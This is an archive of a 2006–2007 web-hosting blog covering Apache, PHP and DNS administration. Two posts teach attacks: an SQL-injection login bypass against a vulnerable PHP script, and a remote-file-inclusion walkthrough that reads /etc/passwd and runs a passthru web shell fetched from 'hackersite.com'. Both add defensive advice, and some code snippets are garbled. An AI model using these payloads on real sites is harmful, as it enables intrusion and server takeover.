VirtualHost Hacking with Wildcard DNS

Posted by Nessa | Posted in Uncategorized | Posted on 19-05-2007

7

A recent topic in the webhosting business is wildcard DNS.  Setting up a wildcard record will allow you to essentially have infinite subdomains all pointing to the same place…. you can try this on my site if you’d like by typing in any random subdomain (like lkjairl.v-nessa.net) and then see if point back to my primary, unless it’s one that I’ve actually created.  Now if you combine this ‘technology’ with the power of .htaccess rewrites, then congratulations.  You’ve just cheated your host and obtained unlimited subdomains.

The first thing you would need to do is have a wildcard DNS record set up.  If you have access to your own zone files, that’s great, otherwise you’ll need to ask your host to set it up for you.  Fair warning though, your hosting company is not stupid (unless it’s Dreamhost) so don’t be surprised if they decline your request.  To set up the DNS zone you simple need to add an a-record “*” like so:

* 14400 IN A 205.134.252.71

*Note: Some argue that you need to use the full  *.domain.com. as the first field…this is actually not required at all, nor recommended!

Depending on your platform, you’ll likely find your domain’s zone file in /var/named/domain.com.db unless you have this feature in your host’s control panel.  Once you’ve added the record simply reload named/BIND with the /etc/init.d/named reload command if needed.   If you’re using an interface it will probably do this for you automatically.

Now you need to add ServerAlias line to your httpd.conf for the wildcard, if your host does not already have Apache configured this way.  Inside the <virtualhost> tags for your domain, add this line:

ServerAlias *.domain.com

Then restart Apache as usual (/etc/init.d/httpd restart) and test a random subdomain to see if it’s working.

So now you will notice that any non-distinguished subdomain shared the same document root as your primary….that’s great and all but it really serves no purpose, so that is where mod_rewrite comes in.  You can add and modify the follow code in your .htaccess to have Apache direct these subdomains to where they need to go:


RewriteEngine On
RewriteRule ^\.htaccess$ – [F]
RewriteCond %{HTTP_HOST} !^www\.example\.com?$
RewriteCond %{HTTP_HOST} ^([^.]+)\.example\.com?$
RewriteRule ^$ /folder/page.html [L]

Using your imagination you can write your own script that can create subdomains and the appropriate .htaccess entries on-demand (assuming that this is not blocked by mod_security).  The end result is seemingly unlimited subdomains on your account!  Also, the changes are usually immediate and do not require propagation.

Halffinished-468

Make Apache Faster

Posted by Nessa | Posted in Uncategorized | Posted on 09-05-2007

5

Apparently someone thinks that my website is too slow in its load time. I never really thought it was that bad, but his little handy danty Firefox plugin claims that it takes my site approximately 6-7 seconds to load initially, which kinda sucks. I know that I’ve written some stuff on optimizing php performance and I tell customers on a daily basis how to keep their sites from bogging down our servers, but I never really cared to optimize my own site because I have a v-dedicated server. So anyways, I’ve made a few modifications to both my site and the server environment to help speed things up a bit.

You might want to read my article on Optimizing PHP as well.

Enable Compression with Apache

If you are running on Apache 2, mod_deflate should already be installed on your system — all you have to do is enable it. I recently downgraded my server back to Apache 1.3.37 (mainly because of cPanel) so I’m using the mod_gzip alternative. Basically, mod_gzip compresses the contents of your site server-side and then passes the file onto your compression-enabled browser to decompress the file. The overhead on the server may be slightly higher during heavier traffic times, but you’ll find yourself saving bandwidth and load time since the server is passing less data between it and your clients.

To install mod_gzip on Apache:

wget http://easynews.dl.sourceforge.net/sourceforge/mod-gzip/mod_gzip-1.3.26.1a.tgz
tar -zxvf mod_gzip-1.3.26.1a.tgz
cd mod_gzip-1.3.26.1a

If you’re on a cPanel system, you’ll need to modify the path to apxs:

pico Makefile

Change APXS?=/usr/local/sbin/apxs to APXS?=/usr/local/apache/bin/apxs

Then just do the normal make && make install

Now enable the dynamic modules in the Apache config:

pico /usr/local/apache/conf/httpd.conf

Uncomment out these lines:

#LoadModule gzip_module libexec/mod_gzip.so
#AddModule mod_gzip.c


Now all you need to do is restart Apache as normal. To see if compression is working on your site, just hop on over to this page and run the test.

Change The KeepAliveTimeout

By default your Apache configuration will probably have keep connections alive for up to 15 seconds before they die off. For busier sites this can be a little too long. I suggest setting this to 3 or 5 seconds in your httpd.conf.

Adjust the PHP Output Handler

Your PHP scripts are constantly recompiiling themselves every time a page is loaded. If your site is heavily reliant on PHP, you may find it beneficial to have PHP send its output to a compression function in your php.ini

output_handler = ob_gzhandler


Check Your resolv.conf

It’s obvious that your settings are fine if your site and email are working, but your resolver may not be set to do the fastest lookups. If you have a caching or local nameserver, you will want that listed first in /etc/resolve.conf . I’ve seen a drastic decrease in performance on some customer VPS’s because the servers were doing DNS lookups through external nameservers. I have dedicated nameservers, so my resolve.conf looks like this:

search v-nessa.net
nameserver 205.134.252.71
nameserver 4.2.2.1
nameserver 4.2.2.3

Optimize!

One of the major changes I made on my site was to the image and page sizes… I did a lot of code and image compression to decrease the amount of time it takes to load my site. A majority of this consisted of simply saving my images in .gif or .png formats and removing plugins and includes that were not needed.

Suhosin Will Make your PHP Hard

Posted by Nessa | Posted in Uncategorized | Posted on 20-04-2007

0

SuhosinI noticed a vague mention of Sohosin on a PHP blog that I read on occasion and I decided to give it a whirl to see if it’s as sexy as is sounds. So far my server hasn’t crashed, so I’m willing to recommend it to anyone who’s interested in hardening their PHP. Ok, sorry. I really can’t say that without chuckling. Yes, welcome back to third grade.

If you check out the developer’s site you should pretty much get the idea of what it does, but basically closes some of the security holes that we see with PHP all the time. Not to say that it will make your php 4.3/MySQL3/globals on/port 22 open server any more secure, but if you’re running any of the latest stable security releases you might be somewhat interested.

I’m currently running PHP 5.2.1, which is the latest release of PHP5 at the time of this writing. You can essentially install this on any PHP4+ server that you have root SSH access to. I opted to install the DSO, as I absolutely hate recompiling PHP. Installing Suhosin as a dynamic shared module will not require you do recompile anything, and is therefore the preferred method for lazy people.

Note: I’m using the latest (and only) release at the time of my writing, but head over to the download page to see if there is anything newer:

http://www.hardened-php.net/suhosin/download.html


cd /usr/src
wget
http://www.hardened-php.net/suhosin/_media/suhosin-0.9.20.tgz
tar -xvzf suhosin-0.9.20.tgz
cd suhosin-0.9.20

Now to install:

phpize
./configure
make
make install

It should return a line something like this:

Installing shared extensions: /usr/local/lib/php/extensions/no-debug-non-zts-20060613/

Now, all you have to do is add this line to your php.ini and restart Apache. Of course, the path should be what the installation output gave you:


[Suhosin]
extension="/usr/local/lib/php/extensions/no-debug-non-zts-20060613/suhosin.so"

**If you are running eAccelerator, this should be above the eAccerelator configuration

When you load up your phpinfo file you should see the module loaded near the Zend section. Everything should be fine as-is, but it you’re one of those people who has to reconfigure everything, knock yourself out.
Suhosin

Keep People from Jacking your Images

Posted by Nessa | Posted in Uncategorized | Posted on 19-03-2007

0

I get this question a lot, so I figured I’d post it here. For those of you who don’t have the convenience of a cPanel-based system, you can block image hotlinking in your .htaccess. Image hotlinking is basically when someone uses an image from your website on their site, but has your site in the <img src..> tags (instead of their own site) so the image loads remotely, and therefore sucks up your bandwidth and resources.

Load up the .htaccess file in your website root (public_html or www folder, usually) and add these lines anywhere in the file:


RewriteEngine on
RewriteCond %{HTTP_REFERER} !^http://v-nessa.com/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://v-nessa.com$ [NC]
RewriteCond %{HTTP_REFERER} !^http://v-nessa.net/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://v-nessa.net$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.v-nessa.com/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.v-nessa.com$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.v-nessa.net/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.v-nessa.net$ [NC]
RewriteRule .*\.(jpg|jpeg|gif|png|bmp)$ http://v-nessa.net [R,NC]

I’m using my two sites, v-nessa.net and it’s parked domain, v-nessa.com. These are sites that I want to allow to display my images. Please note that with Apache, w’s and https matter. So if you have hotlink protection set for yourwebsite.com and someone accesses your site via https://yourwebsite.com or www. yourwebsite.com, they will not be able to see the images unless your allow them as a referrer. Same goes with your subdomains.

Preventing DOS Attacks with mod_evasive

Posted by Nessa | Posted in Uncategorized | Posted on 18-03-2007

2

I recently had to deal with a guy whos VPS was constantly being hit by the same IPs over and over until the server crapped out and refused to do anything…it was royally a pain in the ass because I literally had about 10 seconds between starting up the server and having it crash again. Needless to say that those 10 seconds were spent stopping Apache to give me enough time to do a netstat -n and block the assholes who were flooding the server. I then decided to installed mod_evasive, which is a simple Apache module that monitors the amount of connections from one IP and blocks any that reach a set limit. Here’s how you do it via SSH:


wget http://www.zdziarski.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz
tar -xvzf mod_evasive_1.10.1.tar.gz
cd mod_evasive_1.10.1
/usr/local/apache/bin/apxs -cia mod_evasive.c

Once the module is compiled, restart Apache and add this to your httpd.conf:


<IfModule mod_evasive.c>
DOSHashTableSize 3097
DOSPageCount 6
DOSSiteCount 50
DOSPageInterval 2
DOSSiteInterval 2
DOSBlockingPeriod 600
</IfModule>

DOSHashTableSize – Size of the hash table. The greater this setting, the more memory is required – faster

DOSPageCount – Max number of requests for the same page within the ‘DOSPageInterval’ interval

DOSSiteCount – Max number of requests for a given site, uses the ‘DOSSiteInterval’ interval.

DOSPageInterval - Interval for the ‘DOSPageCount’ threshold in second intervals.

DOSSiteInterval- Interval for the ‘DOSSiteCount’ threshold in second intervals.

DOSBlockingPeriod – Blocking period in seconds if any of the thresholds are met. The user will recieve a 403 (Forbidden) when blocked, and the timer will be reset each time the site gets hit when the user is still blocked.

A good supplementary script to mod_evasive is ddos, which will send you an email whenever an IP is blocked for too many connections. It also works as a backup in case Apache gets too hammered with connections. All you have to do is:


wget http://www.inetbase.com/scripts/ddos/install.sh
perl install.sh

Now you just edit /usr/local/ddos/ddos.conf .

The Basic MySQL Injection

Posted by Nessa | Posted in Uncategorized | Posted on 17-01-2007

7

Ahhhh the classic hack that doesn’t work anymore… which is why I’m posting it here. I always thought it was kind of an interesting concept but no one ever made it simple for me, so I shall do this for you.

How to do a simple MySQL Injection

Ok, so this is your basic PHP login script that asks for your username and password, which would then query the database to authenticate you:

$user = $_POST["username"];
$pass = $_POST["password"];
$query = mysql_query(“SELECT * FROM users WHERE user=’$user’ AND password=’$password’”);
$rows = mysql_fetch_row($query);
if ($rows == 0) {
die (‘Login Incorrect!’); }

Assuming that register_globals are enabled on the server, this script will work and in return use the POST variable to query the database for an already-defined row to see if both conditions are being met, which are obviously the username/password fields. If the input does not meet this requirement, then the connection dies and returns the “Login Incorrect” error. So assume I log in with the username “nessa” and the password “sexy.” The $query string will pass this command to MySQL:

$query = mysql_query("SELECT * FROM users WHERE user='nessa' AND password=" OR"=' OR '1'='1'");

Since I used the OR clause in the password field, that can leave a few possibilities up to the database to determine whether a statement is true or false. As you can see, will always be equal to , and 1 is always equal to 1, so MySQL is happy as long as these requirements are met.

So what does that tell you? You can easily replace either the username or password fields withe a or a ” OR 1 and you will have a successful login each time. Of course there are a lot more combinations that will work — you might want to check out this site:

http://www.justinshattuck.com/?p=156&akst_action=share-this

Now seeing that this site is powered by PHP and MySQL, you probably think I’m stupid by posting this. Well quite frankly, MySQL injections are old and nearly impossible with well-scripted PHP software and good PHP environment. If you’re running a custom script or old software, here’s how you can protect your crappy software from being exploited:
Check your magic quotes setting in php.ini or .htaccess:

magic_quotes_gpc should be turned on, as this automatically slash-escapes your codes so MySQL is less likely to make a false positive. As of PHP4, this setting is enabled by default.

If you don’t want to use magic quotes, use mysql_real_escape_string():

Here’s a simple script you can use as an include to automatically escape null characters:

// Quote variable to make safe
function quote_smart($value
)
{
// Stripslashes
if (get_magic_quotes_gpc
()) {
$value = stripslashes($value
);
}
// Quote if not integer
if (!is_numeric($value
)) {
$value = “‘” . mysql_real_escape_string($value) . “‘”
;
}
return
$value
;
}
?>

And the obvious, if you’re using bundled software make sure you keep it up to date. New exploits are being found all the time, so don’t put yourself out there by not updating your shit.


Setting up an Access Log with PHP

Posted by Nessa | Posted in Uncategorized | Posted on 14-01-2007

0

I set this up back in July when my site was hosted with H-Insiders and I didn’t have direct access to my Apache logs. I figured that I could do this myself with a few basic PHP functions, and by doing so I was able to set up my own access log in a static text file that I could download whenever I wanted. This first example is to log unique visitors to your site as well as gather some important information about them. Here is the code:


<?php
session_start();
if(!session_is_registered('counted')){
$agent = $_SERVER['HTTP_USER_AGENT'];
$uri = $_SERVER['REQUEST_URI'];
$user = $_SERVER['PHP_AUTH_USER'];
$ip = $_SERVER['REMOTE_ADDR'];
$ref = $_SERVER['HTTP_REFERER'];
$dtime = date('r');


if($ref == ""){
$ref = "None";
}
if($user == ""){
$user = "None";
}


$entry_line = "$dtime - IP: $ip | Agent: $agent | URL: $uri | Referrer: $ref | Username: $user n";
$fp = fopen("access_log.txt", "a");
fputs($fp, $entry_line);
fclose($fp);
session_register('counted');
}
?>


Basically, this is what the code it doing:

session_start();

First, we have to create a session so that the script will only log this visitor’s activity until the session expires

if(!session_is_registered('counted')){

This snippet checks to see if there is a session variable anywhere, and there is it executes the next section of code.

$agent = $_SERVER['HTTP_USER_AGENT'];
$uri = $_SERVER['REQUEST_URI'];
$user = $_SERVER['PHP_AUTH_USER'];
$ip = $_SERVER['REMOTE_ADDR'];
$ref = $_SERVER['HTTP_REFERER'];
$dtime = date('r');

This is where the information is collected:

HTTP_USER_AGENT logs the browser type of the visitor

REQUEST_URI logs the page request

PHP_AUTH_USER shows the login credentials used if a user is being authenticated

REMOTE_ADDR shows the IP address of the visitor

HTTP_REFERER shows where the visitor was referred from

Now, to write to the logfile we see this code:

$entry_line = "$dtime - IP: $ip | Agent: $agent | URL: $uri | Referrer: $ref | Username: $user n";
$fp = fopen("access_log.txt", "a");
fputs($fp, $entry_line);
fclose($fp);
session_register('counted');

You’ll see that the first line is simply printing out the variables defined above as labels, which can be modifed to whatever you want. fopen and fclose are simple php commands used to open and close a file, while fputs will write the variable $entry_line to the file, with $entry_line being equal to all the information collected by the script. The name of the file we are writing to is “access_log.txt” and the path in the script should reflect the location of where you want that file to be on your server.

But what if you want to bypass sessions and log every single page hit? First of all, your log file is going to become massive, but if you would like to keep more extensive logs all you have to do is exclude this code from the script:

session_start();
if(!session_is_registered('counted')){


session_register('counted');
}
?>

Now you have set up a simple logging system to keep your own Apache access logs. Just make sure you set the text file location to where you want the script to write on your webserver, preferrabled somewhere outside your document root folder.

PHP Injections for Dummies

Posted by Nessa | Posted in Uncategorized | Posted on 30-12-2006

7

This is a basic tutorial on how to do a simple PHP injection, for all you n00bish script kiddies

UPDATE:  FYI, since the release of php 5.2.1, this post mainly applies to earlier versions since remote includes will be disabled in all future releases unless specifically allowed in php.ini.

So basically, a PHP injection is a way of slipping your code in with someone else’s, while making the server think it is legit. Take a common php-formatted URL:

http://v-nessa.net/index.php?page=mypage.php

You need to understand what this URL is doing — basically, it is calling on the index.php page, but the ? lets the server know that there is a command string following, in this case a page specification of mypage.php. ? Acts as an include by pulling the contents of a specified file into index.php. There’s what my index.php file looks like:

<?php include ('header.php');

include($page) //this is the page we are calling in the URL ?>

Now, the index.php?page= syntax is the worse case scenario — it will allow you to include the contents of any page into index.php. Do you get where I’m going with this?

An easy example and test is to take your vulnerable page and append an extra URL to it, for example, google.com. So my URL will look like this:

http://v-nessa.net/index.php?page=http://google.com

If you see Google show up anywhere on the page, then congratulations, you found a leak in the code. Now, knowing that you can pull any file into the URL and have it posted in index.php, I’m sure your mind is wandering with possibilies. Why don’t we try the .htaccess?

http://v-nessa.net/index.php?page=.htaccess

Or if you’re feeling daring you could probably even grab the master passwd file on the server:

http://v-nessa.net/index.php?page=/etc/passwd

But don’t get your hopes on on that one… most servers use open base_dir protection with Apache to keep php from going where it shouldn’t go.

Now thank we know the basics, let’s have some fun!

Using something like Notepad, create a text file and save it as a cmd.jpg in ANSI coding, and upload it to your server:

<?php passthru($cmd); ?>

Now go back to the vulnerable page, but add your file’s URL to the end:

http://v-nessa.net/index.php?page=http://hackersite.com/cmd.jpg

Now you can append commands the end of the URL to run Linux commands in the browser. Yes, Linux commands — meaning you now have free reign to the user’s directories, especially ones that are stupidly set to 666 or 777. You can pretty much do anything, like create files/folders, write scripts, download more files, and maybe even delete a few. Here’s the syntax:

http://v-nessa.net/index.php?page=http://hackersite.com/cmd.jpg?cmd=mkdir weeeeeeee

*sigh* Now I have to tell you how to prevent this. In a nutshell:

1. Install mod_security into Apache and make sure your rulesets accomodate the php software you have installed, including access to sensitive files like .htaccess and .htpasswd. This means when those files are called in a browser the server will deny the request.

2. Turn register_globals of for php. It shouldn’t be on anyways.

3. You’ll probably want to add a file exists() function, which will make sure that any included files exist locally.

4. Turn off url Fopen in php.ini or .htaccess, but beware, because some software requires this to work.

UPDATE: Since php 5.2.1, remote includes are no longer enabled without the php.ini directive for allow_url_include. Read Post

5. Make sure you have open base_dir protection enabled in Apache so PHP can’t access files outside the user directory.

6. And the big DUH! Keep your software up to date and refrain from making any folders or files on your site writeable by the “everyone else” group without taking the proper measures to protect them.